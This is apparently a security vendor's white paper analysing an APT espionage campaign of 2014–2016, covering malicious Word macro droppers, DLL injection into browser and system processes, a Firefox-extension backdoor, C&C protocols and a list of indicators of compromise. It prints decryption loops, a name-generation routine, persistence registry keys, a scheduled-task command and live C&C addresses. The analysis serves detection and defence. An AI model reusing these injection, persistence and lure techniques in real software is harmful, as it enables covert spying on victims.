malicious software were detected in Iran, India, Philippines, Russia, Lithuania, Thailand, Vietnam and Hungary. The high number of variants, in conjunction with the low number of reports and the nature of the affected machines has brought us to the conclusion that we are dealing with an APT. The malicious payloads delivered evolved over time, becoming stealthier and adding functionality as time went by. Our analysis focuses on three representative variants of the malware used in the attacks, but a number of others, differing by minor details, were found in the wild. Aside from the analysis, this paper lists hashes of malicious files, as well as other IOCs. White Paper 2014-15 Executable Files The Infected Document The infection starts from one infected document. Analysis started from documents containing droppers. The dropper is encrypted and appended to the end of the document; the document contains a script that reads, decrypts and runs the dropper. The last dword in the document file represents the size of the executable. The 5th byte from the end of the document is a checksum on the decrypted executable, used for validation. The actions from the script are summarized below: size = last_dword_from_file; checksum = byte_before_size_dword; // read encrypted dropper in buffer for (key = 35, i = 0; i < size; i++) buffer[i] = buffer[i] ^ key; key = (key ^ 217) ^ (i % 256); } for (sum = 0, i = 0; i < size; i++) sum = sum ^ buffer[i]; .DOC if (sum ==checksum)(1 byte) (4 bytes) // write and execute the file in: Encrypted dropper // %appdata%\Microsoft\Word\MSWord.exe For the script to run, macros must be enabled in Word. As you can see in Appendix A the content of the infected documents is designed to trick the user into enabling the macros. If the macros are enabled the dropper is executed and opens another document, as expected by the user. For example if the infected document says it is a protected document and you must enable macros to view it, then the dropper will open another document with an invitation to a conference as the protected document. In Appendix B you can find some examples of these pacifier documents, these are clean and contain no scripts or executables. Checksum (1 byte) Size (4 bytes) White Paper Trojan component Initial infected document Clean document (European_global drop Level 1 dropper (MsWord.exe) drop outlook.exe drop drop files ntlm.exe, msvci.dll msvct.exe, msvck.dll msvcp.dll, msvci.exe msvck60.dll, msvct60.dll modify msvct.dll get PID Level 2 dropper (ubfic.exe) msvck.dll main backdoor msvcp.dll inject desktop icons ntlm.exe msvci.dll open Registry autorun open Functionality on 32bit Windows ntlm.exe startup executable msvcp.dll get PID of outlook.exe msvci.dll inject msvck.dll in outlook process msvck.dll main backdoor msvct.dll C&C communication ntlm.exe startup executable msvcp.dll get PID of outlook.exe msvci.dll inject msvck.dll in outlook process msvck.dll main backdoor msvct.dll C&C communication Functionality on 32bit Windows White Paper The Dropper The script previously loaded from the infected .doc file executes the dropper from: %appdata%\Microsoft\Word\MSWord.exe The dropper is a small executable that has the files to be deployed in the overlay encrypted with RC4. It just creates and runs the following files in this order: %appdata%\TMP\European_global_navigation_system.doc %appdata%\Axpim\ubfic.exe %appdata%\Axpim\ anfel.js The file European_global_navigation_system.doc is a clean document used to distract the user (see Appendix B). The file ubfic.exe is another dropper containing the real payload. The anfel.js file is used for self deletion. The names: Axpim, ubfic, anfel are random generated. The folder name will contain 4-6 characters and starts with capital letter. The file names contain 4-5 lowercase letters before the extension. The random generator is based on GetTickCount API. The algorithm for creating the names is presented below in python implementation. Practically, it concatenates random vowels and consonants, but with the condition that no more than two of the same type to be consecutive, with the aim of generating names that are somewhat pronounceable and thus may pass as man-made. This algorithm was also used in some versions of Zeus for file name generation. # name length will be between minLen and maxLen # flags - 4 name will contain spaces - 2 name will have first letter uppercase - can be combined def RandomName(minLen,maxLen,flag): letters = [ aeiouy bcdfghklmnpqrstvwxz name = seed() index = randint(0,1) nameLen = randint(minLen, maxLen) for i in range(0, nameLen): if i > 0 and i % 2 == 0: index = randint(0,1) if (flag & 4) == 4 and len(name)>0 and name[-1]!= and randint(0,3)==0: name = name + elif i % 2 == 0: name = name + choice(letters[index]) else: name = name + choice(letters[1 - index]) if (flag & 2) == 2: name = name.title() return name.rstrip() # generate folder name RandomName(4, 6, 2) # generate file names RandomName(4, 5, 0) White Paper The Second Dropper The payload dropper, ubfic.exe, contains its files in its .data section and is not encrypted or compressed. It creates the files: %temp%\ntlm.exe %temp%\msvci.dll %temp%\msvcp.dll %temp%\msvck.dll %temp%\msvct.dll %temp%\msvci.exe (64 bit) %temp%\msvck60.dll (64 bit) %temp%\msvct60.dll (64 bit) These files make up the payload. The last three are for 64-bit Windows, the rest are for the 32-bit version. The starting point of the payload is the ntlm.exe file which is discussed below. Next, using COM objects, the dropper modifies the .lnk files from the desktop and saves the original links in %temp%\Links folder. The links are modified to start the trojan: Target Original C:\Program Files\Sysinternals\Filemon.exe C:\Documents and Settings\user\Local Settings\Temp\ntlm.exe Modified C:\Program Files\Sysinternals\Filemon.exe The target file of the link is replaced with ntlm.exe and the original target is sent as a parameter to ntlm.exe, which upon execution will execute it. Next, the dropper creates %temp%\startup.bat which adds to the registry: HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\ntlm.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices -> %TEMP%\ntlm.exe The first key is for starting the trojan, along the .lnk files. Some versions do not have the lnk feature, only the registry keys. The second key is never used in our samples. Last file created is %temp%\Axpim\selfdel.bat for self-deletion. msvcp.dll 32 bit library used for returning the PID of one of the processes: iexplore.exe, outlook.exe, firefox.exe, chrome.exe. It hase one export, msvcp, which enumerates running processes and checks their names. It will return the PID of the first one found. If the processes could not be enumerated it returns 0. If no process was found it returns -1. Instead of storing the actual names of those processes in the dll, it stores a byte array as a key and one byte array (result) for each of the 4 names. The checking is done: ProcessName xor key == result, on coresponding bytes. The function may return different PIDs when processes are stopped or started. White Paper msvci.dll 32 bit library used for injecting msvck.dll (the 32 bit backdoor) into a running 32 bit process. The library has one export msvci, which takes one parameter representing the PID of a running process. It allocates a small chunk of memory into that process (260 bytes). In this memory it copies the path to the msvck.dll file, which is found in %temp%\msvck.dll. Then, from the current process it gets the address of LoadLibraryA function and creates a remote thread in the target process starting at that address. The parameter sent for the thread function is the address of the new allocated string containing the path to msvck.dll. As a result, in the target process, a thread is created which just executes LoadLibraryA( path to msvck.dll This method will work even if ASLR is enabled, because the random loading offset for dlls is calculated once per boot and by default one dll is loaded at the same address in different processes. msvci.exe 64 bit application used for injecting msvck60.dll (the 64 bit backdoor) into a running 64bit process. The executable takes a commandline parameter representing a PID. The functionality is identical to msvci.dll library. ntlm.exe This is the file that starts the trojan. First, it creates a named pipe \\.\pipe\bc367 used as a mutex, as the file will probably be executed many times from the shortcuts. The name of the pipe and all other strings in the file and in the rest of the dlls are encrypted with RC4. It sets the other files of the trojan (msvci.dll, msvcp.dll, msvck.dll, msvct.dll, msvci.exe, msvck60.dll, msvct60.dll) as hidden, ntml.exe will not be hidden. Afterwards, the executable enters an infinite loop. It checks if the file %temp%\msvci.dll exists, if it does not exist it will do a self destroy: deletes all components, deletes registry keys, restores the original lnk files from %temp%\Links, closes the pipe. This behaviour is used by the backdoor component later for self deleting. Next it loads the msvcp.dll library and call msvcp export from it. This function returns the PID of one of the processes: iexplore.exe, outlook. exe, firefox.exe, chrome.exe, and 0 or -1 if none of those processes was found. If a process was found, its PID is saved into a variable, then the program checks whether that process is a 32 bit or 64 bit process. If it is a 32 bit process it calls msvci export from msvci.dll with one parameter, the PID. If the process is a 64 bit process it creates a start Create pipe, Hide files Sleep 30 sec Self delete msvci.dll exists Call msvcp, Get PID of target PID == last_PID Last_PID = PID PID process Is 64 bit Execute msvci.exe PID ntlm.exe functionality ntlm.exe IsWow64 Call msvci(PID) IsWow64 target is 32 bit target is 64 bit Check if a process is 64bit knowing that ntlm.exe is 32bit White Paper process from msvci.exe with the commandline parameter being the PID converted to ascii, base 10 (ex: msvci.exe 728). The purpose of msvci.dll and msvci.exe (64bit) is to inject the payload into a process. After this it sleeps 30 seconds and repeats indefinitely. The saved PID is checked so that it doesn t inject again into the same process. This mecanism is flawed because another process from the list could be found and it will inject into it also, or it is possible to inject in the same process twice, for example outlook.exe opened first and injected then iexplore.exe opened second and injected then iexplore.exe closed and outlook.exe injected again. Another bug can appear if msvcp.dll will be deleted because when calling LoadLibrary and GetProcAddress it doesn t check the return values and the program will crash when calling a NULL pointer. msvct.dll 32 bit library contains functions for communicating with the C&C, using WinINet API. The backdoor does not contain any C&C addresses or networking logic, it just uses the exports from msvct.dll, namely: BOOL CI(void) Checks for internet connection. Returns true if a http request ( GET /1 ) to www.google.com succeeds; returns false if not. BOOL SHR(char *ServerAddr, char *ServerScript, void *ID, void *SendBuff, void *RecvBuff, void *extra) Sends and receives data to/ from C&C. The communication is encrypted through HTTPS, port 443. Extra flags are used for the connection: INTERNET_FLAG_IGNORE_ CERT_DATE_INVALID, INTERNET_FLAG_IGNORE_CERT_ CN_INVALID, SECURITY_FLAG_IGNORE_UNKNOWN_CA to ignore errors caused by invalid certificates. ServerAddr and ServerScript make the address of the C&C, these are found using the CS export. ID is a structure made from a buffer (string) and its length. The ID string will be put into the HTTP headers. SendBuff is the same type of structure like the ID. SendBuff contains data that is sent to the C&C. RecvBuff is a structure that contains 4 members, 3 being pointers: a data buffer, a buffer length and two strings. This structure will be filled with data coming from C&C. The data buffer can contain batch commands or whole files to be written to disk. The first string will contain the Content-Type from the headers and this will be the command for the backdoor. The second string will contain the Content-Location from the headers and will have the name of a file for download/upload commands. The last parameter, extra, is again a structure from a buffer and its length. It is optional. The string that it contains is sent through the HTTP header. This is used by the CS export and then it contains that Check: RandomNr string for C&C validation. It is also used in the upload backdoor command. The function returns true or false. BOOL CS(void *ID, char *ServerAddr, char *ServerScript) Check C&C connectivity. Returns true if it founds a valid C&C and ServerAdd, ServerScript (output parameters) will contain the address and the page/script of the C&C. ID (input parameter) is a structure that contains a string and its length. The string represents an ID identifying the infected system. This function tries two hardcoded C&C addresses: 88.208.0.130/rss.php, 78.47.51.238/rss.php (other variants used different addreses). It generates a random number from 0 to 32767 and then creates a string with it, such as: Check: 1352 . This string will be sent in the http headers using SHR function to the C&C. If a C&C is alive it must respond with the string 1352 back. If none of the two C&Cs are alive the function returns false. msvct60.dll 64 bit version of msvct.dll msvck.dll 32 bit library containing the main functionality, the actual backdoor. It has no exports and will only execute if injected into iexplore.exe, outlook.exe, firefox.exe or chrome.exe. First, it checks the internet connection using the CI export from msvct.dll. If it has no internet access the execution ends. Next it creates an ID of the infected system as a string such as: MyCookie: {eceee5c0-1eca-11de-abc9-806d6172696f}{3559831177} the GUID is obtained using GetCurrentHwProfile API and the second bracketed number is the volume serial number. If GetCurrentHwProfile fails the ID will be: MyCookie: UserName{3559831177} with the username from GetUserNameA API and again the volume serial number. White Paper The ID created will be used to check the connection to the C&C with the CS export from msvct.dll. The connection is checked in an infinite loop with a sleep of 28 minutes after each check, until a valid, active C&C server is found. The C&C addresses are contained in msvct.dll and one of them is returned by CS function on success. It can be seen that the loop was meant to only check 3 times for the connection (like other samples do), but, maybe because this is a intermediary version or by negligence, the code actually loops indefinitely. After this follows the code for a regular backdoor which receives commands from the C&C. The commands are received and the results are sent back with the SHR export from msvct.dll. The backdoor will be identifying the computer with the ID it created. After 3 successful commands received it will sleep for 28 minutes. After 3 consecutive failed commands (SHR returns false) it will again perform a C&C validation with the CS function in an infinite loop. Here it may receive the other C&C address. If a command is received but it is not recognized it will sleep again for 28 minutes. The commands are text strings and are described below: - Creates the file %temp%\xmlupd.bat which will contain batch commands. It creates a process with xmlupd.bat but with stderr and stdout redirected to the file %temp%\1. It waits maximum 30 seconds for it to finish then it will kill the process. After that it sends back to the C&C the content of the %temp%\1 file. Some examples of commands received: systeminfo netstat dir/a %programfiles% dir /a %programfiles(x86)% download Receives a file and writes it to %temp%. The name of the file is also received from C&C. It will not execute the file. upload Receives a file name, reads the file, converts the content to base64 and sends it to the C&C with an extra HTTP header File: filename . If it doesn t find the file it sends back the last error (GetLastError for CreateFileA). text/html This looks like a normal Content-Type HTTP header value (the commands arrive in the Content-Type header). When this is received it resets the number of consecutive failed commands and sleeps 28 minutes. The backdoor will continue after. close Stops the execution of the backdoor, the injected thread will terminate. selfdestroy Deletes the file %temp%\msvci.dll then ntlm.exe will take care of deleteing all other components. The backdoor ends execution after the command. msvck60.dll 64 bit version of msvck.dll. [10] White Paper 2014-15 Browser Extension The Infected Document The infection start from a document cv_Mate.Dimitrescu.doc . The document is constructed in the same way as the documents containing the other variant of the malware. The script in it has the same functionality, it will create and execute the dropper %appdata%\ Microsoft\Word\MSWord.exe The Dropper The dropper looks the same as the other droppers, only smaller in size. The files that it contains are encrypted with RC4 in overlay. Only two files will be dropped: %appdata%\Aggea\ivotp.xpi %appdata%\Aggea\ylir.js The names Aggea, ivotp.xpi, ylir.js are random generated. No clean document is present in the dropper and the initial infected document will not close. There is no second dropper either. The javascript file is executed, installs the xpi file as an extension in Firefox and then deletes the directory %appdata%\Aggea\. The Firefox Extension The extension file will be renamed to {285364ef-e70c-4386-8e5c-2aa93a78daad}.xpi then will be installed in Firefox. In the browser it will appear with the name langpack-en-GB 15.0.0 as in the picture below. [11] White Paper We tested it in Firefox 35.0, in some newer versions it didn t work. In this version of the malware the extension will work as the backdoor. The functionality is contained in 3 files in the extension package: 1.js, 2.js, main.js. 1.js The file 1.js contains encryption and decryption routines. Algorithm used is AES, and the implementation seems to be copied from https:// github.com/chrisveness/crypto/blob/master/aes.js and ran through an obfuscator. 2.js The file 2.js contains the C&C addresses and the network functionality. All data to and from the C&C will be sent through normal HTTP but it will be encrypted and converted to base64. The encryption key is generated once when the extension is started but it can be changed if the C&C requests as we will see later. In this variant we find 6 C&C addresses (presumably these are previouslycompromised machines): http://reckless.dk/wp-includes/class-pomo.php http://reckless.dk/wp-includes/class.wp-db.php http://fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php http://fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php http://77-ufo.com/wp-includes/class-menu.php http://77-ufo.com/pma/db_table.php The strings in the files are not visible because the javascript files are highly obfuscated. The function that sends the data to the C&C also receives the response. The function will select each time a C&C that responds from the list. This file would be the equivalent of the msvct. dll file from the earlier version. main.js The file main.js is the actual backdoor (msvck.dll equivalent). The malware starts by creating an ID for the system. The ID is a Md5 hash on some data colected from the system. The ID is sent in every request to the C&C as in the previous version with executable files. This is an example of the data collected for the ID from a test machine: {285364ef-e70c-4386-8e5c-2aa93a78daad}C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237. defaultC:\Documents and Settings\user\Desktop{ec8030f7c20a-464f-9b0e-13a3a9e97384} There are no line separators, it is just a long string. The ID in this case will be 5815da5d0d5565f342474d976f507807 . The gathered data represents: {285364ef-e70c-4386-8e5c-2aa93a78daad} GUID for the extension C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default Firefox profile folder where the extension was placed C:\Documents and Settings\user\Desktop desktop folder of the active user [12] White Paper {ec8030f7-c20a-464f-9b0e-13a3a9e97384} - GUID for Firefox After the ID was generated, an encryption/decryption key will be created. It concatenates the hardcoded string 7201895b632dc5044c02ea98b0dbd371 with the string containing the ID. In the case of our example this will make the string 7201895b632dc5044c02ea98b0dbd3715815da5d0d5565f342474d976f507807 . Then it makes the Md5 hash on the string which will result in ec398e010a0cb6b6e4f48722dc07eaa3 This final buffer (containing a C like string with the md5) is the decryption key. The key is subsequently used for encryption and decryption of every message sent and received from the C&C. Next it gathers more data about the system. Again, an example from the test machine: 5815da5d0d5565f342474d976f507807 {285364ef-e70c-4386-8e5c-2aa93a78daad} winnt x86 Mozilla Firefox {ec8030f7-c20a-464f-9b0e-13a3a9e97384} 35.0 C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default C:\Documents and Settings\user\Desktop 0040|||C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default\user.js Lines are separated by line feed (0x0A). The data represents: 5815da5d0d5565f342474d976f507807 System ID {285364ef-e70c-4386-8e5c-2aa93a78daad} GUID for the extension winnt x86 Operating system {ec8030f7-c20a-464f-9b0e-13a3a9e97384} GUID for Firefox 35.0 Firefox version C:\Perl... - %path% C:\Documents and Settings\user\Application Data\Mozilla\Firefox\Profiles\2gmaw237.default Path to Firefox profile C:\Documents and Settings\user\Desktop Desktop folder of the logged user C:\Documents and Settings\user\ApplicationData\Mozilla\Firefox\Profiles\2gmaw237.default\user.js Config file for Firefox which can override normal settings, it will try to delete it. If is still present after deletion it will put 0041 instead 0040 as the status. The data is encrypted with the key that was generated and sent to the C&C. Finally the malware sets a timer which calls a function that sends to C&C, receives from C&C and processes the backdoor commands every five seconds. The commands are made up from 3 strings separated by ,like nr|||string1|||string2 nr will be to and represents the backdoor command. string1 and string2 contain file names, urls and other things used by the commands. In some commands string2 is not used. The commands are: [13] White Paper 1|||file commandlineOptions Executes the file file with command line parameters commandlineOptions . stdout and stderr are redirected to a string and the content of the string will be sent to the C&C. If the file to be executed does not exists it sends back to the C&C 0011|||file 2|||url|||file Downloads the file from and writes it with the name file . Returns to the C&C 0020|||file if the file was successfuly written, 0021|||file if the file was not written or 0051|||url|||errCode if the download failed. 3|||file Searches the file file and sends it to the C&C. In case of an error it will return 0034|||file if the file is a folder, 0033|||file|||size if the file size is greater than 5000000 bytes, 0031|||file if the file exists but it couldn t get information about it, 0032|||file if the file does not exists, 0051|||url|||errCode if the file could not be sent due to some network problems. 4|||file Deletes the file file . Returns to the C&C 0040|||file if the file was deleted or 0041|||file if the file could not be deleted. 5|||string1|||file Sends back string1 to the C&C. The C&C responds with a buffer which will be written to the file file . It sends back to the C&C 0020|||file if the file was successfuly written, 0021|||file if the file could not be written or 0051|||url|||errCode in case of network problems. 6|||path|||depth Lists files and directories from path recursively until depth level, then it sends the list to the C&C. An example: 0060|||c:\0 1|c:\0\Documents|d|ct=NaN|lat=1442919637000|lmt=1442919637000| 1|c:\0\main.js|17394|ct=NaN|lat=1442919639000|lmt=1442405697000| 1|c:\0\main1.js.js_format|9486|ct=NaN|lat=1442919639000|lmt=1442404160000| 2|c:\0\Documents\rec.doc|12|ct=NaN|lat=1442919637000|lmt=1442919637000| 0061|||path_failed|||error_code 0061|||c:\0|||10000 The path listed and a return code would be 0060|||c:\0 and from the start of the lines is the level of a file or directory. The count starts at 1 and the maximum level would be depth +1This is followed by a file or directory path. After the path a follows, if the path specifies a directory, or something like 17394 in case of a file, which is the size of the file. ct=NaN is the creation time of a file. There is a typo in the code and because of that the creation time is never actually retrieved ( winBirtdhDate instead of winBirthDate lat=1442919637000 is the last access time. lmt=1442919637000 is last modified time. 0061|||path_failed|||error_code is optional and may appear multiple times, contains a path at which the file enumeration failed. 00061|||c:\0|||10000 at the end is optional and appears only if the listing so far contains more than 10000 characters, then no more lines will be added. 0|||key Sets a new encryption/decryption key with the C string [14] White Paper Other 2015 variants We found different versions of the files with almost identical functionality and only minor differences. The most notable difference is that C&C addresses vary. Another interesting fact is where the samples were spotted. More C&C servers reckless.dk/wp-includes/class-pomo.php reckless.dk/wp-includes/class.wp-db.php fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php fishstalk.esy.es/wp-includes/SimplePie/Net/IPv4.php 77-ufo.com/wp-includes/class-menu.php 77-ufo.com/pma/db_table.php scientific.otzo.com/rss.php Documents The documents differ in what they present but they are identical in where the dropper resides and how the script operates. Droppers The most common level 1 droppers contain the files encrypted with RC4 in the overlay and level 2 droppers have the files in clear in .data section. Some level 1 and level 2 droppers are just selfextracting winrar archives, but they have the same functionality. Firefox addon Only one version was found. ntlm.exe, svchost.exe, dwms.exe Different names for the starting executable. Some variants do not have the link files functionality and rely only on the registry key to start. All variants use the key HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run and the value is named svchostUpdate dwm service msvci.dll Some versions check if the process into which they inject is 64 bit or 32 bit. If it is 64 bit msvci.exe PID is executed. This looks like an early version of the code because the functionality for 32/64 bit is in ntlm.exe file and if we have a 64 bit process to inject, msvci.dll would not be loaded in the first place. msvct.dll Different C&C addresses. msvck.dll Some versions check the C&C in an infinite loop other will check it only 3 times and if no connection could be established the execution ends. The computer ID has a GUID obtained with GetCurrentHwProfile in some versions and in others the GUID is taken from the registry key HKLM\SOFTWARE\Microsoft\Cryptography\ MachineGuid Strings Almost all strings in the files are encrypted. They are encrypted with RC4 in all versions, only the decryption keys are different. [15] White Paper 2016 attack wave In May 2016 we have encountered a new wave of attacks. They came, at least in some known cases, as spear phishing emails containing various documents: topics like Oil conferences, international politics, budget calculations, simple guidelines on how to interview for a job in foreign affairs. The attackers moved away from using documents containing macro scripts to employing a zip archive containing a java-script file that would in turn drop a clean document and the actual malware. The archived file has a double extension, something like urgentdocument.doc.js. This method is probably more efficient, as the victim doesn t have to enable macros in Word Viewer. Generally speaking, the components are slightly different from the 2015 variants but they achieve the same results. As a general rule, we observed that these variants tend to be stealthier than past years variants because malware is only injected in legitimate processes, so that no new main executable will be seen in the process list after injection. The components are outlined below. Document containing malicious macro script The new infected documents have a different structure, as seen in the picture. The clean document is encrypted directly in the infected document, not contained in the dropper as with previous versions. The macro from the infected document will decrypt and run the clean document and the dropper. At the end of the document there is a dword which contains the total size (document+dropper+4). In front of the encrypted document is a dword which represents its size. After the encrypted document there is one byte, the checksum. The encrypted dropper has the same structure. The checksum algorithm remains the same but the encryption is slightly different than before: // decrypt for (key = 75, i = 0; i < size; i++) buffer[i] = buffer[i] ^ key; key = (key ^ ((200 + i) % 256) ^ (i % 256); The Dropper The droppers are self-extracting Winrar archives. They do not contain the clean document any more. The component files are extracted to: [16] %appdata%\Microsoft\VisualStudio\11.0\dws.exe %appdata%\Microsoft\VisualStudio\11.0\msi.dll %appdata%\Microsoft\VisualStudio\11.0\msi32.dll %appdata%\Microsoft\VisualStudio\11.0\msk.dll (optional) %appdata%\Microsoft\VisualStudio\11.0\msp.dll %appdata%\Microsoft\VisualStudio\11.0\mst.dll White Paper %appdata%\Microsoft\VisualStudio\11.0\msi.exe (64 bit) %appdata%\Microsoft\VisualStudio\11.0\msi60.dll (64 bit) %appdata%\Microsoft\VisualStudio\11.0\msk60.dll (64 bit, optional) %appdata%\Microsoft\VisualStudio\11.0\msp60.dll (64 bit) %appdata%\Microsoft\VisualStudio\11.0\mst60.dll (64 bit) %appdata%\Microsoft\VisualStudio\11.0\msvci60.dll (64 bit) msk.dll and msk60.dll are not always present in which case their functionality is taken by another dll. After the files are dropped the file dws.exe is executed without any parameters. msp.dll Similar to the old msvcp.dll. Returns the PID of some processes. It has 3 important exports: p, p1, p2. p export has the functionality as the older variant, returns the PID of one of iexplore.exe, firefox.exe, chrome.exe, outlook.exe. p1 export returns the PID of dwm.exe (Windows Desktop Manager). p2 returns the PID of taskhostex.exe (Host Process for Windows Tasks) or sihost.exe (Shell Infrastructure Host). These are legitimate processes that can be found in Windows 8 and Windows 10. Some variants do not search for sihost.exe. Some variants also have another export kp which kills a process, but it s never invoked. msp60.dll 64 bit variant of msp.dll. msi.dll This is similar to the old msvci.dll. It has one export msvci with two parameters, a path to a file and a PID. It will inject the file from the path into the process with that PID. For 32 bit processes. msvci60.dll 64 bit variant of msi.dll. msi.exe Similar to msi.dll, for 64 bit processes. It will look for 1 or 2 command line parameters. The first is a process PID. The second parameter can be anything and is just a flag for knowing what library to inject: 2 parameters will inject msi60.dll, 1 parameter will inject msk60.dll. The injection is done with the msvci export from msvci60.dll. dws.exe The starting module. If it was started with a parameter and the parameter is not a number (as an ascii string), it will create a process with the executable taken from the parameter; this looks like a reminiscent of the .lnk files functionality. If the parameter is a number, the number will be interpreted as a PID and it will check if the process with that PID is a 32/64 bit process. If it is a 64 bit process, dws.exe will create a new process with the command line msi.exe PID . If it is a 32 bit process, dws. exe will load msi.dll and call its export as msvci( msvck ,pid). In this case (parameter as number received) the execution stops here. If the file msp.dll is not present it will delete all components of the trojan. Otherwise it will call from msp.dll the export p1 or p2 (only on Windows 8/10 or Server 2012) to get the PID of dwm.exe, taskhostex.exe or sihost.exe. If the returned PID is for a 64 bit process [17] White Paper will run msi.exe PID 1 ; two parameters are passed, the last one being dummy and used by msi.exe just to know to take a different path of execution. If the returned PID is for a 32 bit process, it will load msi.dll and call msvci( msi32.dll , PID). After this the program terminates (the older ntlm.exe would have stayed in a loop here). msi32.dll Code from this library will execute injected in dwm.exe, taskhostex.exe. Sets the same registry autorun key as the 2015 variants. It will also set a scheduled task: schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR %appdata%\Microsoft\VisualStudio\11\dws.exe which will make sure that main module will start daily. Checks if msp.dll exists, if it does not, it will execute dws.exe without parameters, which in turn will self delete the Trojan. It uses from msp.dll the p export to get a PID. If that PID is a 32 bit process it will run dws.exe PID and if it is a 64 bit process it will run msi.exe PID . Those processes with parameters will inject the actual backdoor (msk.dll). It will stay in a loop and try to find targeted processes in order to inject in them. This variant of the Trojan is stealthier than the previous one in which ntlm.exe would stay in a loop and try to inject, in which case a suspicious process (ntlm.exe) would be visible. msi32.dll with backdoor functionality In some droppers msi32.dll has another variant different enough to be described separately. In this case msi32.dll would contain backdoor functionality along the functionality described earlier. It will function in 2 ways (backdoor or earlier msi32.dll) based on the name of the process from which it runs. If the containing process is dwm.exe, taskhostex.exe or sihost.exe it will function like the usual msi32.dll and also will copy itself as msk.dll for later use as the backdoor. If the containing process is another process then it will function as the backdoor (identical to msk.dll). msi60.dll 64 bit variant of msi32.dll. msk.dll The backdoor component, similar to the old msvck.dll, it has the same functionality. For selfdelete it will delete msp.dll. It also has a new backdoor command which sets the time in milliseconds for Sleep, time value received from the C&C. msk60.dll 64 bit variant of msk.dll. mst.dll Library used for communication with the C&C. Very similar to the old msvct.dll. Internet connection is checked with go.microsoft. mst60.dll 64 bit variant of mst.dll. [18] White Paper Functionality diagram Functionality summary: The macro from the infected document will drop and open a dummy clean document and a dropper. The dropper will drop the component files in the folder %appdata%\Microsoft\VisualStudio\11\ and will open dws.exe without parameters. dws.exe will use the function p2 (only on Windows 8 or Windows Server 2012) or the function p1 from msp.dll. p1 will return the PID of dwm.exe, p2 will return the PID of taskhostex.exe. [19] White Paper dws.exe will load msi.dll and will call its export as msvci( msi32.dll , PID), with the PID returned from step 3. This will inject msi32. dll into dwm.exe or taskhostex.exe depending on the OS. After this dws.exe process terminates. a. msi32.dll will add a run key in registry and a scheduled task, both will open dws.exe b. msi32.dll will copy itself to msk.dll. This step is done only in some versions where msi32.dll has the backdoor functionality and the initial backdoor msk.dll is missing. msi32.dll will use the function p from msp.dll which will return the PID of one of iexplore.exe, outlook.exe, firefox.exe, chrome.exe. msi32.dll will create a new process with dws.exe with a parameter, the PID returned at step 6. If at step 6. the file msp.dll was not found (selfdelete from backdoor), it will create a new process with dws.exe but without parameters, which in turn will delete all components. msi32.dll will stay in a loop repeating from step 6 (the backdoor variant of msi32.dll will exit). dws.exe with a parameter will function differently and will call the export from msi.dll as msvci( msk.dll , PID), with the PID returned at step 6., received as a command line parameter. This will inject msk.dll in the specified process. After this dws.exe process terminates. At this step it does not matter if msk.dll is the msi32.dll variant or not. msk.dll is the backdoor program and will use exports from mst.dll to communicate with the C&C. In case that msk.dll is msi32. dll variant the selfdelete will be done here (start dws.exe) and not in step 7. because msi32.dll will no longer run in dwm.exe, taskhostex.exe or sihost.exe. Zip file containing malicious java-script In this variant victim is lured to double click on a file with double extension .doc.js this way java-script file gets executed, will decode a clean Word document and a malware executable file, both are embedded in java-script. Next, a windows task is created to run the malware, and clean document is opened. Malware execution follows as previously described. We have 4 unique C&Cs for 2016 variants, hosted in Netherlands, New York and Germany. The machines used are most likely compromised web servers. [20] White Paper Binary difference between 2014/2015 and 2016 variants diagram representing backdoor main function Yellow blocks represent partial code modifications compared to 2015 versions. Red blocks represent added functionality. We can see that little functionality was added to backdoor component. [21] White Paper IOCs File paths %APPDATA%\Microsoft\Word\MSWord.exe %APPDATA%\Axpim\ubfic.exe (random) %APPDATA%\Axpim\anfel.js (random) %APPDATA%\Nuuw\ilebi.xpi (random) %APPDATA%\Nuuw\yqyra.js (random) %TEMP%\ntlm.exe %TEMP%\msvci.dll %TEMP%\msvcp.dll %TEMP%\msvck.dll %TEMP%\msvct.dll %TEMP%\msvci.exe (64bit) %TEMP%\msvck60.dll (64bit) %TEMP%\msvct60.dll (64bit) %APPDATA%\Microsoft\VisualStudio\11.0\dws.exe %APPDATA%\Microsoft\VisualStudio\11.0\msi.dll %APPDATA%\Microsoft\VisualStudio\11.0\msi.exe %APPDATA%\Microsoft\VisualStudio\11.0\msi32.dll %APPDATA%\Microsoft\VisualStudio\11.0\msi60.dll %APPDATA%\Microsoft\VisualStudio\11.0\msk.dll %APPDATA%\Microsoft\VisualStudio\11.0\msk60.dll %APPDATA%\Microsoft\VisualStudio\11.0\msp.dll %APPDATA%\Microsoft\VisualStudio\11.0\msp60.dll %APPDATA%\Microsoft\VisualStudio\11.0\mst.dll %APPDATA%\Microsoft\VisualStudio\11.0\mst60.dll %APPDATA%\Microsoft\VisualStudio\11.0\msvci60.dll %APPDATA%\Axpim\selfdel.bat %TEMP%\xmlupd.bat [22] White Paper pipes \\.\pipe\bc367 \\.\pipe\bc31a7 Registry paths HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\ntlm.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices -> %TEMP%\ntlm.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\svchostUpdate -> %TEMP%\svchost.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices -> %TEMP%\svchost.exe HKLM\Software\Microsoft\Windows\CurrentVersion\Run\dwm service -> %TEMP%\dwms.exe HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows\Devices -> %TEMP%\dwms.exe HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\dwupdate -> %APPDATA%\Microsoft\VisualStudio\11.0\dws.exe tasks update command schtasks /create /SC DAILY /ST 12:00 /TN update /F /TR %APPDATA%\Microsoft\VisualStudio\11.0\dws.exe network activity 2014-2015 variants: reckless.dk/wp-includes/class-pomo.php reckless.dk/wp-includes/class.wp-db.php fishstalk.esy.es/wp-content/plugins/bbpress/includes/common/menu.php 